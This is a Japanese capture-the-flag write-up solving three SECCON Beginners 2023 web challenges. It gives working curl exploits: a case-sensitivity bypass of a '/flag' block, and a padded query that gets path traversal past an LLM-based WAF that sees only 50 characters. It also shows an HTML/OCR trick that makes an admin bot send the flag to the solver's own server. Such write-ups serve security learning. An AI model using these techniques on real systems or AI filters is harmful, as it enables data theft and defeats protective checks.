SECCON Beginners 2023 Writeup web（Forbidden, aiwaf, phisher2）

## はじめに

SECCON Beginners 2023に参加しました！

https://www.seccon.jp/2023/beginners/about-seccon-beginners.html

解けた問題のうち、`web`の問題についてどのように解いたかを書きます。

## [web] Forbidden

以下のようなアプリケーションが立っていて、そこからflagを取る問題でした。
一見、`/flag`にアクセスをするとゲットできそうですが、リクエストパスに`/flag`が含まれていると403が返るようになっています。

```js:app.js
var express = require("express");
var app = express();

const HOST = process.env.CTF4B_HOST;
const PORT = process.env.CTF4B_PORT;
const FLAG = process.env.CTF4B_FLAG;

app.get("/", (req, res, next) => {
    return res.send('FLAG はこちら: <a href="/flag">/flag</a>');
});

const block = (req, res, next) => {
    if (req.path.includes('/flag')) {
        return res.send(403, 'Forbidden :(');
    }

    next();
}

app.get("/flag", block, (req, res, next) => {
    return res.send(FLAG);
})

var server = app.listen(PORT, HOST, () => {
    console.log("Listening:" + server.address().port);
});
```

Expressのドキュメントを見てみると、

> Enable case sensitivity.
> Disabled by default, treating “/Foo” and “/foo” as the same.

https://expressjs.com/ja/api.html#express.router

とのことなので、`/Flag`などでアクセスをすることで回避できます。

```
$ curl https://forbidden.beginners.seccon.games/Flag
ctf4b{403_forbidden_403_forbidden_403}
```

## [web] aiwaf

以下のようなアプリケーションで、`file`クエリパラメータで示したファイルをレスポンスとして返すものでした。
`?file=../flag`のようにしてあげるとよいのですが、AI WAFがいるためそのままではflagを取得できません。

```
$ exa -T -L 2 .
.
├── app.py
├── books
│  ├── book0.txt
│  ├── book1.txt
│  ├── book2.txt
│  ├── book3.txt
│  └── book4.txt
├── Dockerfile
├── flag
├── requirements.txt
└── uwsgi.ini
```

```app.py
import uuid
import openai
import urllib.parse
from flask import Flask, request, abort

# from flask_limiter import Limiter
# from flask_limiter.util import get_remote_address

##################################################
# OpenAI API key
KEY = "****REDACTED****"
##################################################

app = Flask(__name__)
app.config["RATELIMIT_HEADERS_ENABLED"] = True

# limiter = Limiter(get_remote_address, app=app, default_limits=["3 per minute"])

openai.api_key = KEY

top_page = """
<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="utf-8" />
    <title>亞空文庫</title>
</head>

<body>
    <h1>亞空文庫</h1>
    AIにセキュリティの物語を書いてもらいました。<br>
    内容は正しいかどうかわかりません。<br>
<ul>
    <li><a href="/?file=book0.txt">あ書</a></li>
    <li><a href="/?file=book1.txt">い書</a></li>
    <li><a href="/?file=book2.txt">う書</a></li>
    <!-- <li><a href="/?file=book3.txt">え書</a></li> -->
</ul>

※セキュリティのためAI-WAFを導入しています。<br>
© 2023 ももんがの書房
</body>

</html>
"""


@app.route("/")
def top():
    file = request.args.get("file")
    if not file:
        return top_page
    if file in ["book0.txt", "book1.txt", "book2.txt"]:
        with open(f"./books/{file}", encoding="utf-8") as f:
            return f.read()
    # AI-WAF
    puuid = uuid.uuid4()
    prompt = f"""\
以下の{puuid}に囲まれた部分のURLクエリはパストラバーサル攻撃でしょうか？
そうである場合Yesを、違う場合Noを返してください。
../やflagという文字列が含まれていた場合もYesを返してください。

{puuid}
{urllib.parse.unquote(request.query_string)[:50]}
{puuid}
"""
    try:
        response = openai.ChatCompletion.create(
            model="gpt-3.5-turbo",
            messages=[
                {
                    "role": "user",
                    "content": prompt,
                },
            ],
        )
        result = response.choices[0]["message"]["content"].strip()
    except:
        return abort(500, "OpenAI APIのエラーです。\n少し時間をおいてアクセスしてください。")
    if "No" in result:
        with open(f"./books/{file}", encoding="utf-8") as f:
            return f.read().replace(KEY, "")
    return abort(403, "AI-WAFに検知されました👻")


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=31415)
```


一見、プロンプトインジェクションに見えますが、よく見ると

```py
{urllib.parse.unquote(request.query_string)[:50]}
```

となっており、クエリパラメータの先頭50文字しか送っていないことがわかります。

そのため、

```
?こんにちは。おげんきですか。こんにちは。おげんきですか。こんにちは。おげんきですか。こんにちは。おげんきですか。&file=../flag
```

のように50文字以降に`file=../flag`がくるようにしてあげると回避できます。

```
$ curl 'https://aiwaf.beginners.seccon.games/?%E3%81%93%E3%82%93%E3%81%AB%E3%81%A1%E3%81%AF%E3%80%82%E3%81%8A%E3%81%92%E3%82%93%E3%81%8D%E3%81%A7%E3%81%99%E3%81%8B%E3%
80%82%E3%81%93%E3%82%93%E3%81%AB%E3%81%A1%E3%81%AF%E3%80%82%E3%81%8A%E3%81%92%E3%82%93%E3%81%8D%E3%81%A7%E3%81%99%E3%81%8B%E3%80%82%E3%81%93%E3%82%93%E3%81%AB%E3%81%A1
%E3%81%AF%E3%80%82%E3%81%8A%E3%81%92%E3%82%93%E3%81%8D%E3%81%A7%E3%81%99%E3%81%8B%E3%80%82%E3%81%93%E3%82%93%E3%81%AB%E3%81%A1%E3%81%AF%E3%80%82%E3%81%8A%E3%81%92%E3%8
2%93%E3%81%8D%E3%81%A7%E3%81%99%E3%81%8B%E3%80%82&file=../flag'
ctf4b{pr0mp7_1nj3c710n_c4n_br34k_41_w4f}
```

## [web] phisher2

この問題は、

`POST /`に送られてきた`text`パラメータをHTMLファイルとして書き込み、
そのHTMLファイルをChromeで表示させて、スクリーンショットを取ります。
そして、OCRでそのスクリーンショットからテキストを読み取り、
読み取ったテキストが`find_url_in_text`でマッチする、かつ`https://phisher2.beginners.seccon.games`で始まっている場合、
`text`パラメータで`find_url_in_text`にマッチするURLに`?flag=FLAG`クエリパラメータをつけてリクエストが送られる。

というようなものになっています。

```py:app.py
import os
import uuid
from admin import share2admin
from flask import Flask, request

app = Flask(__name__)

@app.route("/", methods=["GET"])
def index():
    return open("./index.html").read()

@app.route("/", methods=["POST"])
def chall():
    try:
        text = request.json["text"]
    except Exception:
        return {"message": "text is required."}
    fileId = uuid.uuid4()
    file_path = f"/var/www/uploads/{fileId}.html"
    with open(file_path, "w", encoding="utf-8") as f:
        f.write(f'<p style="font-size:30px">{text}</p>')
    message, ocr_url, input_url = share2admin(text, fileId)
    os.remove(file_path)
    return {"message": message, "ocr_url": ocr_url, "input_url": input_url}


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0")
```

```py:admin.py
import os
import re
import pyocr
import requests
from PIL import Image
from selenium import webdriver

APP_URL = os.getenv("APP_URL", "http://localhost:16161/")
FLAG = os.getenv("FLAG", "ctf4b{dummy_flag}")

# read text from image
def ocr(image_path: str):
    tool = pyocr.get_available_tools()[0]
    return tool.image_to_string(Image.open(image_path), lang="eng")


def openWebPage(fileId: str):
    try:
        chrome_options = webdriver.ChromeOptions()
        chrome_options.add_argument("--no-sandbox")
        chrome_options.add_argument("--headless")
        chrome_options.add_argument("--disable-gpu")
        chrome_options.add_argument("--disable-dev-shm-usage")
        chrome_options.add_argument("--window-size=1920,1080")
        driver = webdriver.Chrome(options=chrome_options)
        driver.implicitly_wait(10)
        url = f"file:///var/www/uploads/{fileId}.html"
        driver.get(url)

        image_path = f"./images/{fileId}.png"
        driver.save_screenshot(image_path)
        driver.quit()
        text = ocr(image_path)
        os.remove(image_path)
        return text
    except Exception:
        return None


def find_url_in_text(text: str):
    result = re.search(r"https?://[\w/:&\?\.=]+", text)
    if result is None:
        return ""
    else:
        return result.group()


def share2admin(input_text: str, fileId: str):
    # admin opens the HTML file in a browser...
    ocr_text = openWebPage(fileId)
    if ocr_text is None:
        return "admin: Sorry, internal server error."

    # If there's a URL in the text, I'd like to open it.
    ocr_url = find_url_in_text(ocr_text)
    input_url = find_url_in_text(input_text)

    # not to open dangerous url
    if not ocr_url.startswith(APP_URL):
        return "admin: It's not url or safe url.", ocr_url, input_text

    try:
        # It seems safe url, therefore let's open the web page.
        requests.get(f"{input_url}?flag={FLAG}")
    except Exception:
        return "admin: I could not open that inner link.", ocr_url, input_text
    return "admin: Very good web site. Thanks for sharing!", ocr_url, input_text
```

そのため、

- OCRで`https://phisher2.beginners.seccon.games`が返るようにする
- `text`パラメータの`find_url_in_text`のマッチで自分のサーバーが返るようにする
- 自分のサーバーのアクセスログを見る

でflagをゲットできます。

``OCRで`https://phisher2.beginners.seccon.games`が返るようにする``は、`text`パラメータの内容がHTMLファイルとしてブラウザに読み込まれるので、

```html
<p style="display: none;">https://example.com</p>
<p>https://phisher2.beginners.seccon.games/</p>
```

のようにしてあげることで倒せます。
（自分のサーバーを`https://example.com`とする場合）

`` `text`パラメータの`find_url_in_text`のマッチで自分のサーバーが返るようにする``は、はじめにマッチしたURLが返ることがわかるので、`https://phisher2.beginners.seccon.games/`を後ろのほうに書いてあげればよいことがわかります。

```py
def find_url_in_text(text: str):
    result = re.search(r"https?://[\w/:&\?\.=]+", text)
    if result is None:
        return ""
    else:
        return result.group()
```

最終的なリクエストは以下になります。

```
$ curl -X POST -H "Content-Type: application/json" -d '{"text":"<p style=\"display: none;\">https://example.com</p><p>https://phisher2.beginners.seccon.games/</p>"}' https://phisher2.beginners.seccon.games
{"input_url":"<p style=\"display: none;\">https://example.com</p><p>https://phisher2.beginners.seccon.games/</p>","message":"admin: Very good web site. Thanks for sharing!","ocr_url":"https://phisher2.beginners.seccon.games/"}
```

自分のサーバーのアクセスログを見てみると、

```
(snip) GET /?flag=ctf4b%7Bw451t4c4t154w?%7D HTTP/1.1" 200 (snip)
```

flagつきでリクエストされています。
パーセントエンコーディングされているので、戻してあげればflagゲットです。

```
irb(main)> require 'uri'; URI.decode_www_form_component('ctf4b%7Bw451t4c4t154w?%7D')
=> "ctf4b{w451t4c4t154w?}"
```

## さいごに

web以外の問題も解けたものがいくつかあるので、またWriteupを書ければなと思います！